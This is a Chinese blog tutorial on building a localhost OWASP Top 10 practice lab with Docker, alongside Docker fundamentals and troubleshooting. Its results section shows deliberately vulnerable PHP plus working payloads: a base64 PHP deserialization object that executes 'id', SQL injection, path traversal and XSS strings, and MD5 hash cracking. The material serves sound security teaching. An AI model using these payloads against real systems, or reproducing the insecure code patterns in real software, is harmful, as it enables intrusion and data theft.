用 Docker 搭一个 OWASP 练习靶场,顺便把Docker再深入一下
为什么我要自己搭一个靶场
练 OWASP Top 10 的 A02、A08、A10 时发现一个问题:DVWA 覆盖不到这三条。
它们不是”代码漏洞”,是”工程事故”——生产环境忘关 debug、外部输入直接反序列化、catch 里 return true。现成靶场里很少有这种玩意儿,因为不好”演示”。
自己写三个 PHP 文件才 90 行。但接下来的问题是:怎么把它跑起来。
这正好是个练 Docker 的机会。所以这篇不是”Docker 教程 + 附赠一个靶场”,而是”为了搭靶场,把 Docker 用一遍”。
两条线一起走:
- 把这个靶场跑起来(3 个故意写坏的 PHP 文件)
- 顺手把 Docker 的常用操作练熟
先看结果
不用管原理,先复制这几条命令。它会在机器上起一个网页服务器:
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpineTips — 拆解命令 拆开看:
docker run—— 主命令:用某个镜像启动一个容器-d—— detach,后台运行。不加它,容器的输出会占住你的终端,Ctrl-C就把容器停了--name hello-nginx—— 给容器起个人能叫的名字。不起名 Docker 会随机生成一个(比如zen_hopper),后面docker stop时你得先docker ps查-p 127.0.0.1:8081:80—— 端口映射,三段式,从左到右读:绑定的地址 : 宿主机端口 : 容器内端口- 绑
127.0.0.1= 只有本机能访问(安全,靶场就该这样) - 绑
0.0.0.0或不写地址 = 整个局域网都能访问(练习环境千万别这么写) - 宿主机 8081 收到请求 → 转发给容器的 80 端口
- 绑
nginx:alpine—— 镜像名:标签。不写标签等于:latest,等于不锁版本,后面 A03 那条会讲这为什么是问题
连成一句人话:在后台用 nginx 的 alpine 版镜像起一个叫 hello-nginx 的容器,只让本机通过 8081 端口访问它里面的 80 端口。
三个最常加的:
--rm # 容器一停就自动删除,适合一次性试验-it # 交互式终端,配合 sh/bash 进去手动操作-v 宿主机路径:容器路径 # 目录挂载,见第六节然后打开 http://127.0.0.1:8081/,你会看到 nginx 的默认欢迎页。
再确认一下它在跑:
docker ps实测输出(只保留相关列):
CONTAINER ID IMAGE STATUS PORTS NAMES6910f43e0aaf nginx:alpine Up 2 seconds 127.0.0.1:8081->80/tcp hello-nginx到这一步已经完成了一次完整的 Docker 操作:从远程仓库下载镜像 → 启动成容器 → 把容器端口映射到本机 → 访问它。
用完删掉:
docker rm -f hello-nginx这条命令会打印容器名。-f 是强制,正在跑也能删。不删也没关系,但别攒 —— 这些容器会一直占着端口和磁盘。
Tips — 关于Docker的一些名词解释 镜像(image) = 一个装好系统的压缩包
- 类比:一张装好系统、装好软件的光盘
- 它是只读的,你不能改它,只能用它启动实例
nginx:alpine就是”nginx 官方镜像的 alpine 版本”,alpine 是个只有 5MB 的精简 Linux
容器(container) = 用镜像启动出来的一个运行实例
- 类比:拿那张光盘启动出来的一台正在跑的机器
- 你能进它、能改它里面的文件、能杀掉它
- 同一个镜像可以起 10 个容器,它们互不影响
仓库(registry) = 存放镜像的地方
docker run nginx:alpine发现本地没有这个镜像,就会去 Docker Hub 下载- 这就是第一次跑要等一会儿的原因
一句话记住关系:仓库里有镜像,镜像跑起来是容器,容器删了镜像还在。
容器是活的:进去、看日志、停、删
看日志(容器里的程序输出都在这)
docker logs hello-nginx实测尾部:
2026/10/22 03:40:15 [notice] 1#1: start worker process 37172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"第二条是 curl 的那次请求。注意来源 IP 是 172.17.0.1 —— 不是 127.0.0.1。因为请求经过了 Docker 的端口转发,容器看到的对端是网关地址。这个细节在排查”为什么日志里 IP 不对”时非常关键。
docker logs -f 容器名—— 实时跟随(类似tail -f)docker logs --tail 50 容器名—— 只看最后 50 行
进容器内部
docker exec -it hello-nginx shexec—— 在主进程之外再开一个进程进去(不重启容器)-it—— 分配交互终端sh—— 因为 alpine 镜像里没有 bash,只有 sh
进去之后就是容器里的 root:
docker exec hello-nginx sh -c 'ls /usr/share/nginx/html'50x.htmlindex.html注意这个路径:/usr/share/nginx/html 是 容器内 的网页目录,跟电脑上的任何目录都没关系(除非你做挂载)。
停和删
docker stop hello-nginx # 停止(进程收到 SIGTERM,10 秒后 SIGKILL)docker start hello-nginx # 再启动,容器里之前改的文件还在docker rm hello-nginx # 删除(必须先停,或者加 -f)stop 和 rm 的区别要分清:stop 只是关机,rm 是把机器扔了。 扔了之后容器里改过的文件全没,镜像不受影响。
容器是易失的:数据要挂出来
容器里改的东西,docker rm 之后就没了。这在靶场里无所谓,但真实项目里数据库不能这么玩。
Docker 给两种方案:
bind mount(绑定挂载) —— 把你电脑上的某个目录,直接映射成容器里的某个目录
mkdir -p /tmp/docker-demo/htmlecho '<h1>宿主机改的文件</h1>' > /tmp/docker-demo/html/index.html
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 \ -v /tmp/docker-demo/html:/usr/share/nginx/html:ro \ nginx:alpine-v A:B—— 把宿主机的 A 目录挂到容器的 B 目录:ro—— read only,容器只能读不能改。给静态文件挂载一定要加,防止容器里的进程把宿主机文件改了
实测:改宿主机文件,容器不用重启就生效
curl -s http://127.0.0.1:8081/# <h1>宿主机改的文件</h1>
echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.htmlcurl -s http://127.0.0.1:8081/# <h1>改完立刻生效</h1>这就是我们搭靶场要用的方式:把 web/ 目录挂进容器,改 PHP 文件立刻能看到效果,不用重建镜像。
volume(命名卷) —— 由 Docker 管理的存储,你不知道它在磁盘哪个角落
docker volume lsdocker volume create mydata适合数据库这种”你不需要直接改文件,只要它别丢”的场景。 DVWA 靶场的 dvwa-db-data 就是命名卷。
什么时候用哪个:
- 直接编辑文件、要看到文件 → bind mount
- 数据只要持久、不需要手动碰 → volume
- 挂载路径写错会怎样?Docker 会自动在宿主机创建这个空目录,然后容器里看到空目录,页面白屏。这不是报错,是最容易浪费半小时的坑
这个靶场:compose 文件逐行读
docker-compose.yml 全文:
services: web: image: php:8.3-apache container_name: owasp-lab ports: - "127.0.0.1:8000:80" volumes: - ./web:/var/www/html一行为什么这么写:
services:—— 这个文件里要跑的服务清单。现在只有一个叫web的image: php:8.3-apache—— 官方 PHP 镜像,已经内置 Apache,不用自己装。这就是”镜像选对了省一半事”container_name: owasp-lab—— 固定容器名,方便docker exec owasp-lab sh。不写会生成目录名-web-1这种ports: - "127.0.0.1:8000:80"—— 和-p一个意思,只是写成列表。注意这里有引号,因为冒号在 YAML 里有特殊含义volumes: - ./web:/var/www/html—— 相对路径./web指 compose 文件所在目录。挂到 Apache 的默认站点根
为什么用 compose 而不是一条 docker run?
- 参数写进文件,下次不用回忆
- 将来要加数据库、加 WAF,就往
services里多写一段 - 别人拿到这个目录,
docker compose up -d一条命令就跑起来
等价的手写命令是:
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \ -v "$PWD/web:/var/www/html" php:8.3-apache起、停、重建
在 OWASP-Top10-lab/ 目录里执行:
docker compose up -d # 起(-d 后台)docker compose ps # 看状态docker compose logs -f # 跟随日志docker compose down # 停并删除容器(镜像和挂载的目录都留着)docker compose restart # 重启几个容易混的点:
- 是
docker compose(中间空格,v2 插件),不是docker-compose(老版本 Python 脚本)。你机器上是 v5.5.0,用前者 - 改了挂载目录里的 PHP 文件:不用重启,Apache 每次请求都重新读
- 改了 compose 文件(端口、镜像):要
docker compose up -d重新应用,Docker 会自动重建变化的部分 docker compose down -v会额外删掉命名卷,数据一起没。有数据库的靶场慎用
验证靶场起来了:
curl -s http://127.0.0.1:8000/能看到三个练习入口的列表。
踩坑记录
坑 1:docker pull 卡住不动,几分钟没进度
在这台机器上拉 php:8.3-apache 时实测卡了 6 分钟以上。国内直连 Docker Hub 经常这样。
排查顺序:
- 先确认不是网络彻底断了:
curl -I https://registry-1.docker.io/v2/ - 在 Docker Desktop 里配镜像加速:Settings → Docker Engine,在 JSON 里加
{ "registry-mirrors": ["https://你的加速地址"]}- 改完点 Apply & Restart,再
docker pull
注意:国内可用的加速地址是变动的,网上教程里的地址经常已经失效。 不要照抄,先确认当前可用。
如果暂时配不好加速,还有一个绕法:用本地已有的 PHP+Apache 镜像替代。这个靶场对 PHP 版本没要求,任何带 Apache 的 PHP 镜像都能跑。比如本机已经有 DVWA 镜像时:
docker run -d --name owasp-lab -p 127.0.0.1:8000:80 \ --entrypoint apache2-foreground \ -v "$PWD/web:/var/www/html" \ ghcr.io/digininja/dvwa:latest关键是 --entrypoint apache2-foreground —— 覆盖掉镜像原来的启动脚本(DVWA 的启动脚本会去连数据库),直接让 Apache 前台跑起来。这就是 --entrypoint 的用途:临时改变容器的启动命令,不用改镜像。
换成镜像后,php -v 从 8.3 变成 8.5 这类数字会变,但所有漏洞行为一模一样。
坑 2:端口被占用
Error response from daemon: Ports are not available: exposing port TCP 0.0.0.0:8080意思是宿主机这个端口已经有别的程序在监听。查是谁:
lsof -iTCP:8080 -sTCP:LISTEN这台机器上 8888 端口就被 DVWA 靶场占着 —— 所以这个文档里的靶场改用 8000。同一个端口不能给两个服务用,换端口比找冲突简单。
坑 3:Apple Silicon 上镜像跑不起来
报 exec format error 或者容器反复重启,通常是那个镜像只有 x86 版本。
docker image inspect 镜像名 --format '{{.Architecture}}'返回 arm64 说明是原生,amd64 说明是模拟。只有 amd64 时才需要加:
docker run --platform linux/amd64 ...代价是性能差一截,能在 arm64 上跑就不要加。 我们用的 php:8.3-apache、nginx:alpine 都有 arm64 原生版。
坑 4:改了 PHP 文件,页面没变化
三个检查点,按顺序:
- 文件确实在挂载目录里?
ls ./web/vuln/ - 挂载路径对不对?
docker inspect owasp-lab --format '{{json .Mounts}}' - 是不是改在了容器里而不是宿主机?
docker exec owasp-lab cat /var/www/html/vuln/a02-debug.php | head -3
第三种最常见:docker exec 进去用 vi 改的是容器里的副本,docker compose down 之后改动就没了。改文件永远在宿主机改。
坑 6:.htaccess 不生效
A02 的练习里要用 .htaccess 打开目录索引(Options +Indexes)。如果放了没效果,检查两件事。
第一,这个目录允许 .htaccess 覆盖配置吗?
docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5实测输出:
/etc/apache2/conf-available/docker-php.conf:10: AllowOverride All/etc/apache2/apache2.conf:161: AllowOverride Nonedocker-php.conf 里 AllowOverride All 说明 /var/www/ 下的 .htaccess 是生效的;apache2.conf 那条 None 管的是根目录 /。看到多个结果不要慌,关键是看哪个块的路径包含你的目录。
第二,改的是不是宿主机上的文件?
docker exec owasp-lab cat /var/www/html/backup/.htaccess如果这里看不到你写的内容,说明写错地方了。
另外要知道:不是所有镜像都允许 .htaccess。 官方 php:8.3-apache 通过 docker-php.conf 开了 AllowOverride All,所以能用;换成别的镜像可能就被禁了。禁掉 .htaccess 时,要改 Apache 主配置(在容器里改,或者挂一个配置文件进去)。
顺带一提,这个练习值得做的原因是:默认状态是 403(安全),加一行 .htaccess 就变 200(不安全)—— 这就是 A02 说的”配置错误”,安全和不安全之间只隔一行。
坑 5:docker ps 看不到刚起的容器
docker ps 只显示正在运行的。容器启动失败退出后,它在 docker ps -a 里:
docker ps -a --filter name=owasp-labdocker logs owasp-lab # 看它为什么退出常用的docker命令
看
docker ps—— 正在跑的容器docker ps -a—— 包括已经退出的docker images—— 本地镜像docker logs -f 容器—— 跟日志docker inspect 容器—— 全部细节(IP、挂载、环境变量)docker stats—— 实时 CPU / 内存
进出
docker exec -it 容器 sh—— 进去docker cp 文件 容器:/路径—— 拷贝文件进容器(调试用)docker cp 容器:/路径 文件—— 拷出来
生命周期
docker compose up -d/down/restartdocker stop/start/rm -fdocker restart 容器
清理(有破坏性,看清再敲)
docker rm -f 容器名—— 删指定容器docker rmi 镜像名—— 删指定镜像docker system df—— 先看占了多少docker system prune—— 删所有已停止的容器、无用网络、悬空镜像(不含卷)docker system prune -a --volumes—— 连镜像和卷一起删,会删掉你所有靶场的数据
实际测试一下
环境
$ docker version --format 'Client {{.Client.Version}} / Server {{.Server.Version}} ({{.Server.Arch}})'Client 29.7.2 / Server 29.7.2 (arm64)
$ docker compose versionDocker Compose version v5.5.0靶场容器:
$ docker ps --filter name=owasp-lab --format '{{.Names}}\t{{.Status}}\t{{.Ports}}'owasp-lab Up 3 seconds 127.0.0.1:8000->80/tcpA02 —— debug 没关,一次失败泄露全套配置
请求
curl -i http://127.0.0.1:8000/vuln/a02-debug.php输出
[DEBUG] file_get_contents() failedtarget : /var/log/app/access-today.logcwd : /var/www/html/vulnphp : 8.5.11server : Apache/2.4.68 (Debian)config : { "db_host": "db", "db_user": "dvwa", "db_pass": "p@ssw0rd", "secret": "7f2c1e9a4b"}
[HTTP 500]结论:一次失败的请求泄露了绝对路径、PHP 版本、Apache 版本、数据库地址、数据库口令、密钥。把 $debug 改成 false 后,同样请求返回”服务繁忙,请稍后再试”。
注意:http_response_code(500) 必须写在任何 echo 之前。第一次写的时候我先 echo 再设状态码,PHP 报 Cannot set response code - headers already sent,状态码退化成 200。
A02 —— 目录列表开关:403 → 200
默认状态
curl -si http://127.0.0.1:8000/backup/HTTP/1.1 403 ForbiddenDate: Thu, 22 Oct 2026 03:42:22 GMTServer: Apache/2.4.68 (Debian)Content-Length: 316Content-Type: text/html; charset=iso-8859-1加一行 .htaccess
printf 'Options +Indexes\n' > web/backup/.htaccesscurl -s http://127.0.0.1:8000/backup/ | grep -E "Index of|db.sql.bak" <title>Index of /backup</title><h1>Index of /backup</h1><tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="db.sql.bak">db.sql.bak</a></td><td align="right">2026-10-22 03:31 </td><td align="right">439 </td><td> </td></tr>结论:一行配置,403 变 200,从”猜文件名”变成”文件列表任选”。
配套检查(.htaccess 为什么能生效):
$ docker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5/etc/apache2/conf-available/docker-php.conf:10: AllowOverride All/etc/apache2/apache2.conf:161: AllowOverride Nonedocker-php.conf 的 AllowOverride All 让 /var/www/ 下的 .htaccess 生效。
拿到手的备份文件内容
INSERT INTO users VALUES (1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin'), (2, 'gordon', 'e10adc3949ba59abbe56e057f20f883e', 'user');A04 —— 弱哈希,两秒破完
for w in password 123456 admin; do printf '%-10s -> %s\n' "$w" "$(printf '%s' "$w" | md5)"donepassword -> 5f4dcc3b5aa765d61d8327deb882cf99123456 -> e10adc3949ba59abbe56e057f20f883eadmin -> 21232f297a57a5a743894a0e4a801fc3结论:备份文件里两个哈希全部命中 —— admin 的密码是 password,gordon 的密码是 123456。
对比:password_hash() 每次输出不同(自动加盐)且故意慢。
A08 —— 反序列化 RCE
正常数据(一个数组,a:1:{s:4:"name";s:5:"guest";} 的 base64)
curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=YToxOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO30%3D"不是对象,结果: array ( 'name' => 'guest',)请求结束(对象的 __destruct 会在这之后执行)[HTTP 200]构造对象
payload 原文:
O:5:"Cache":2:{s:3:"key";s:2:"gc";s:7:"payload";s:2:"id";}base64:
Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ==curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ%3D%3D"反序列化成功,得到对象: Cache请求结束(对象的 __destruct 会在这之后执行)uid=33(www-data) gid=33(www-data) groups=33(www-data)[HTTP 200]结论:id 命令以 web 用户身份执行,整个过程中没有调用任何函数,只”传了一段数据”。执行发生在页面输出之后,因为 __destruct 是对象销毁时自动触发。
A10 —— fail open
传 role=user(明显不是管理员)
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest&role=user"200 OK —— 已进入管理面板name: guestrole: user[HTTP 200]不传 role(参数缺失)
curl -s "http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest"<br /><b>Warning</b>: Undefined array key "role" in <b>/var/www/html/vuln/a10-failopen.php</b> on line <b>11</b><br />200 OK —— 已进入管理面板name: guestrole: (未提供)[HTTP 200]结论:参数缺了反而直接进后台(异常路径 = 放行路径),同时 Warning 泄露了绝对路径和行号。
修法对照:return true → return false,同样的请求变 403。
A05 —— 同一载荷,有无 WAF 的差异
直连 DVWA(无 WAF)
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \ "http://127.0.0.1:8888/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"HTTP 302302 是”没带登录 cookie 被弹回登录页”。但请求已经被处理了,响应码正常不代表没打到。
经 WAF(block 模式)
curl -s -o /dev/null -w 'HTTP %{http_code}\n' \ "http://127.0.0.1:8889/vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submit"HTTP 403WAF 审计日志里的那次判决
target : /vulnerabilities/sqli/?id=1%27%20OR%20%271%27%3D%271&Submit=Submitscore : 100 / 阈值 100action : block resp_status: 403backend_status: None命中 : 1021 SQL 注入 · 恒真条件 +55; 1024 SQL 注入 · 引号闭合特征 +45结论:backend_status: None 说明请求根本没转发到后端,在 WAF 这一层就被拦了。但 DVWA 的 SQL 注入一行没改 —— WAF 是缓解,参数化查询才是根治。
A09 —— 日志记了,但没人被叫醒
WAF 用 audit 模式(只记录不拦截),打四条不同手法的载荷:
for p in "1' OR '1'='1" "1'; DROP TABLE users--" "../../etc/passwd" "<script>alert(1)</script>"; do curl -s -o /dev/null -w '%{http_code} ' "http://127.0.0.1:8889/vulnerabilities/sqli/?id=${p}&Submit=Submit"done四条全部返回 302。审计日志(按规则去重后):
11:38:36 ?id=1' OR '1'='1 score=100 action=log would_block=True └─ 1021 SQL 注入 · 恒真条件(55); 1024 SQL 注入 · 引号闭合特征(45)11:38:36 ?id=1'; DROP TABLE score=185 action=log would_block=True └─ 1024 引号闭合特征(45); 1026 破坏性语句(70); 1027 堆叠查询(70)11:38:36 ?id=../../etc/passwd score=170 action=log would_block=True └─ 1001 路径穿越(70); 1010 敏感文件访问(100)11:38:36 ?id=<script>alert(1) score=115 action=log would_block=True └─ 2001 XSS · script 标签(70); 2007 弹窗与危险函数(45)原始 JSONL 字段名:
ts, req_id, client, peer, method, target, host, ua,action, would_block, score, threshold, hits[], backend_status, resp_status, elapsed_msscores 是去重后累加的(第一条 100 = 55 + 45),hits 里同一条规则会因多个视图各记一行 —— 按 rule 去重才是真实命中数。
结论:四条全部 would_block=True(开了拦截都该拦),但 action=log(全放过去了)。日志完美记录了每一次攻击,可如果没人配告警、没人看这个文件,它就只是一堆躺在磁盘上的 JSON。
A03 —— 自己博客的依赖审计
cd ~/代码库/LYH-Blogs && pnpm audit122 vulnerabilities foundSeverity: 12 low | 45 moderate | 63 high | 2 critical两条 critical:
critical Astro: Remote code execution through AVIF image optimizationPackage astroVulnerable versions <7.2.8Patched versions >=7.2.8Paths . > @astrojs/mdx@5.0.6 > astro@6.3.5 . > astro@6.3.5
critical node-tar: Decompression/parse DoS via unlimited inputPackage tarVulnerable versions <=7.5.18Patched versions >=7.5.19Paths . > astro-icon@1.1.5 > @iconify/tools@4.2.0 > tar@7.5.16结论:博客框架 astro 自己就有 critical RCE(当前 6.3.5,修复版 7.2.8);tar 是传递依赖带进来的 —— 没直接装它,是 astro-icon → @iconify/tools → tar 一路拖进来的。
Docker 入门实测
起一个容器
docker run -d --name hello-nginx -p 127.0.0.1:8081:80 nginx:alpine$ docker ps --filter name=hello-nginx --format '{{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'hello-nginx nginx:alpine Up Less than a second 127.0.0.1:8081->80/tcp
$ curl -s -o /dev/null -w 'HTTP %{http_code} 大小 %{size_download} 字节\n' http://127.0.0.1:8081/HTTP 200 大小 896 字节容器日志里的来源 IP 是网关地址
2026/10/22 03:40:15 [notice] 1#1: start worker process 37172.17.0.1 - - [22/Oct/2026:03:40:15 +0000] "GET / HTTP/1.1" 200 896 "-" "curl/8.7.1" "-"不是 127.0.0.1,是 172.17.0.1 —— 请求经过 Docker 端口转发,容器看到的对端是网关。排查”日志里 IP 不对”时用得上。
进容器
$ docker exec hello-nginx sh -c 'cat /etc/os-release | head -2; ls /usr/share/nginx/html'NAME="Alpine Linux"ID=alpine--- 网页目录 ---50x.htmlindex.html挂载后改宿主机文件立刻生效
$ docker run -d --name hello-nginx -p 127.0.0.1:8081:80 -v /tmp/docker-demo/html:/usr/share/nginx/html:ro nginx:alpine$ curl -s http://127.0.0.1:8081/<h1>宿主机改的文件</h1>$ echo '<h1>改完立刻生效</h1>' > /tmp/docker-demo/html/index.html$ curl -s http://127.0.0.1:8081/<h1>改完立刻生效</h1>容器内网 IP
$ docker inspect hello-nginx --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'172.17.0.2文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!